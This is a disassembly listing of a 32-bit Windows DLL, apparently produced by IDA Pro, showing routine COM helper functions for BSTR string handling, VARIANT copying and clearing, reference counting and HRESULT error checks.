					; sub_10003786+50Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_1000D730
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D6C0	proc near		; CODE XREF: sub_10003786+848p
					; sub_10003786+886p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_1000D730
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D6C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D6E0	proc near		; CODE XREF: sub_1000D640+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000D6F9
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_1000D7D0


loc_1000D6F9:				; CODE XREF: sub_1000D6E0+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D6E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D700	proc near		; CODE XREF: sub_1000D620+Ap
					; sub_1000D640+12p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000D722
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_1000D7F0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0


loc_1000D722:				; CODE XREF: sub_1000D700+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D730	proc near		; CODE XREF: sub_1000D6A0+Ep
					; sub_1000D6C0+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax]
		cmp	edx, [ecx]
		jnz	short loc_1000D747
		xor	eax, eax
		jmp	short loc_1000D773
; ---------------------------------------------------------------------------


loc_1000D747:				; CODE XREF: sub_1000D730+11j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_1000D754
		or	eax, 0FFFFFFFFh
		jmp	short loc_1000D773
; ---------------------------------------------------------------------------


loc_1000D754:				; CODE XREF: sub_1000D730+1Dj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jnz	short loc_1000D763
		mov	eax, 1
		jmp	short loc_1000D773
; ---------------------------------------------------------------------------


loc_1000D763:				; CODE XREF: sub_1000D730+2Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_1000D8C0


loc_1000D773:				; CODE XREF: sub_1000D730+15j
					; sub_1000D730+22j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1000D780(LPCSTR lpMultiByteStr)

sub_1000D780	proc near		; CODE XREF: std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)+3Fp

var_4		= dword	ptr -4
lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 1
		mov	edx, [ebp+lpMultiByteStr]
		push	edx		; lpMultiByteStr
		call	sub_1001C99D
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_1000D7C1
		cmp	[ebp+lpMultiByteStr], 0
		jz	short loc_1000D7C1
		push	8007000Eh
		call	sub_1001C8F0


loc_1000D7C1:				; CODE XREF: sub_1000D780+2Fj
					; sub_1000D780+35j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D7D0	proc near		; CODE XREF: sub_1000D6E0+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D7D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D7F0	proc near		; CODE XREF: sub_1000D700+14p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_1000D836
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_1000D82B
		push	1
		mov	ecx, [ebp+var_4]
		call	sub_1000D840
		mov	[ebp+var_10], eax
		jmp	short loc_1000D832
; ---------------------------------------------------------------------------


loc_1000D82B:				; CODE XREF: sub_1000D7F0+2Aj
		mov	[ebp+var_10], 0


loc_1000D832:				; CODE XREF: sub_1000D7F0+39j
		xor	eax, eax
		jmp	short loc_1000D83C
; ---------------------------------------------------------------------------


loc_1000D836:				; CODE XREF: sub_1000D7F0+18j
		mov	eax, [ebp+var_C]
		mov	eax, [eax+8]


loc_1000D83C:				; CODE XREF: sub_1000D7F0+44j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D7F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D840	proc near		; CODE XREF: sub_1000D7F0+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D9B0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_1000D865
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4


loc_1000D865:				; CODE XREF: sub_1000D840+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D870	proc near		; CODE XREF: sub_1000D670+16p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_1000D8AC
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx		; lpWideCharStr
		call	sub_1001CA12
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_1000D8AC
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000D8AC
		push	8007000Eh
		call	sub_1001C8F0


loc_1000D8AC:				; CODE XREF: sub_1000D870+Ej
					; sub_1000D870+28j ...
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D8C0	proc near		; CODE XREF: sub_1000D730+3Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], ecx
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 0
		jnz	short loc_1000D8DF
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		neg	eax
		sbb	eax, eax
		jmp	loc_1000D9A5
; ---------------------------------------------------------------------------


loc_1000D8DF:				; CODE XREF: sub_1000D8C0+Fj
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_1000D8F1
		mov	eax, 1
		jmp	loc_1000D9A5
; ---------------------------------------------------------------------------


loc_1000D8F1:				; CODE XREF: sub_1000D8C0+25j
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx		; BSTR
		call	ds:SysStringLen
		mov	[ebp+var_C], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_10]
		jbe	short loc_1000D923
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax


loc_1000D923:				; CODE XREF: sub_1000D8C0+5Bj
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx


loc_1000D933:				; CODE XREF: sub_1000D8C0:loc_1000D981j
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_14]
		sub	eax, 1
		mov	[ebp+var_14], eax
		test	edx, edx
		jbe	short loc_1000D983
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		cmp	edx, ecx
		jz	short loc_1000D981
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx-2]
		mov	eax, edx
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx-2]
		sub	eax, edx
		jmp	short loc_1000D9A5
; ---------------------------------------------------------------------------


loc_1000D981:				; CODE XREF: sub_1000D8C0+A7j
		jmp	short loc_1000D933
; ---------------------------------------------------------------------------


loc_1000D983:				; CODE XREF: sub_1000D8C0+81j
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jnb	short loc_1000D994
		mov	[ebp+var_1C], 0FFFFFFFFh
		jmp	short loc_1000D9A2
; ---------------------------------------------------------------------------


loc_1000D994:				; CODE XREF: sub_1000D8C0+C9j
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		cmp	ecx, [ebp+var_10]
		setnz	dl
		mov	[ebp+var_1C], edx


loc_1000D9A2:				; CODE XREF: sub_1000D8C0+D2j
		mov	eax, [ebp+var_1C]


loc_1000D9A5:				; CODE XREF: sub_1000D8C0+1Aj
					; sub_1000D8C0+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D8C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D9B0	proc near		; CODE XREF: sub_1000D840+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D9D0
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D9B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D9D0	proc near		; CODE XREF: sub_1000D9B0+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_1000D9ED
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx		; bstrString
		call	ds:SysFreeString


loc_1000D9ED:				; CODE XREF: sub_1000D9D0+Fj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_1000DA0B
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4


loc_1000DA0B:				; CODE XREF: sub_1000D9D0+24j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D9D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1000DA10(VARIANTARG	*pvargSrc)

sub_1000DA10	proc near		; CODE XREF: sub_10003786+264p
					; sub_10003786+29Fp

pvargDest	= dword	ptr -4
pvargSrc	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+pvargDest], ecx
		mov	eax, [ebp+pvargDest]
		push	eax		; pvarg
		call	ds:VariantInit
		mov	ecx, [ebp+pvargSrc]
		push	ecx		; pvargSrc
		mov	edx, [ebp+pvargDest]
		push	edx		; pvargDest
		call	ds:VariantCopy
		push	eax
		call	sub_1000DA50
		add	esp, 4
		mov	eax, [ebp+pvargDest]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DA50	proc near		; CODE XREF: sub_1000DA10+20p
					; sub_1000DA70+12p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jge	short loc_1000DA62
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_1001C8F0


loc_1000DA62:				; CODE XREF: sub_1000DA50+7j
		pop	ebp
		retn
sub_1000DA50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DA70	proc near		; CODE XREF: sub_10003786+2F1p
					; sub_10003786+30Fp ...

pvarg		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+pvarg], ecx
		mov	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	ds:VariantClear
		push	eax
		call	sub_1000DA50
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DA70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DA90	proc near		; CODE XREF: sub_10003786+300p
					; sub_10003786+31Ep ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000DAE0
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DA90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DAB0	proc near		; CODE XREF: sub_10003786+23Cp
					; sub_10003786+277p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	3
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DAB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DAE0	proc near		; CODE XREF: sub_1000DA90+Ap

pvarg		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+pvarg], ecx
		mov	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	ds:VariantClear
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DAE0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION std::_Container_base::_Container_base(void). PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DB20	proc near		; CODE XREF: sub_10003786+367p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+2Ch]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DB5B
		push	offset dword_10023378
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DB5B:				; CODE XREF: sub_1000DB20+27j
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DB20	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000008E BYTES: COLLAPSED FUNCTION std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int).	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1000DC10(BSTR psz, int)

sub_1000DC10	proc near		; CODE XREF: std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)+43p

var_4		= dword	ptr -4
psz		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 1
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_1000DC6C
		cmp	[ebp+psz], 0
		jz	short loc_1000DC6C
		mov	eax, [ebp+psz]
		push	eax		; bstr
		call	ds:SysStringByteLen
		push	eax		; len
		mov	ecx, [ebp+psz]
		push	ecx		; psz
		call	ds:SysAllocStringByteLen
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_1000DC6A
		push	8007000Eh
		call	sub_1001C8F0


loc_1000DC6A:				; CODE XREF: sub_1000DC10+4Ej
		jmp	short loc_1000DC74
; ---------------------------------------------------------------------------


loc_1000DC6C:				; CODE XREF: sub_1000DC10+26j
					; sub_1000DC10+2Cj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+psz]
		mov	[ecx], edx


loc_1000DC74:				; CODE XREF: sub_1000DC10:loc_1000DC6Aj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_1000DC10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DC80	proc near		; CODE XREF: sub_10003786+3A0p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+34h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DCBB
		push	offset dword_10023378
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DCBB:				; CODE XREF: sub_1000DC80+27j
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DCE0	proc near		; CODE XREF: sub_10003786+C8Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		push	eax
		call	dword ptr [edx+20h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DD14
		push	offset dword_10023388
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DD14:				; CODE XREF: sub_1000DCE0+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DCE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DD20	proc near		; CODE XREF: sub_10003786+CA2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		push	eax
		call	dword ptr [edx+28h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DD54
		push	offset dword_10023388
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DD54:				; CODE XREF: sub_1000DD20+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DD60	proc near		; CODE XREF: sub_10003786+CBAp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		push	eax
		call	dword ptr [edx+30h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DD94
		push	offset dword_10023388
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DD94:				; CODE XREF: sub_1000DD60+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DD60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DDA0	proc near		; CODE XREF: sub_10003786+CD2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		push	eax
		call	dword ptr [edx+38h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DDD4
		push	offset dword_10023388
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DDD4:				; CODE XREF: sub_1000DDA0+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000DDA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DDE0	proc near		; CODE XREF: sub_10003786+2C0p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	[ebp+var_18], edx
		mov	eax, [ecx+4]
		mov	[ebp+var_14], eax
		mov	edx, [ecx+8]
		mov	[ebp+var_10], edx
		mov	eax, [ecx+0Ch]
		mov	[ebp+var_C], eax
		sub	esp, 10h
		mov	ecx, esp
		mov	edx, [ebp+var_18]
		mov	[ecx], edx
		mov	eax, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_C]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	[ebp+var_28], edx
		mov	eax, [ecx+4]
		mov	[ebp+var_24], eax
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx
		mov	eax, [ecx+0Ch]
		mov	[ebp+var_1C], eax
		sub	esp, 10h
		mov	ecx, esp
		mov	edx, [ebp+var_28]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_20]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ecx]
		mov	eax, [ebp+var_30]
		push	eax
		call	dword ptr [edx+2Ch]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DE87
		push	offset dword_10023398
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DE87:				; CODE XREF: sub_1000DDE0+93j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_1000E240
		mov	ecx, [ebp+var_2C]
		or	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_1000DDE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DEB0	proc near		; CODE XREF: sub_10003786+C55p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+0B0h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DEEE
		push	offset dword_100233A8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DEEE:				; CODE XREF: sub_1000DEB0+2Aj
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_1000E240
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DEB0	endp

; ---------------------------------------------------------------------------
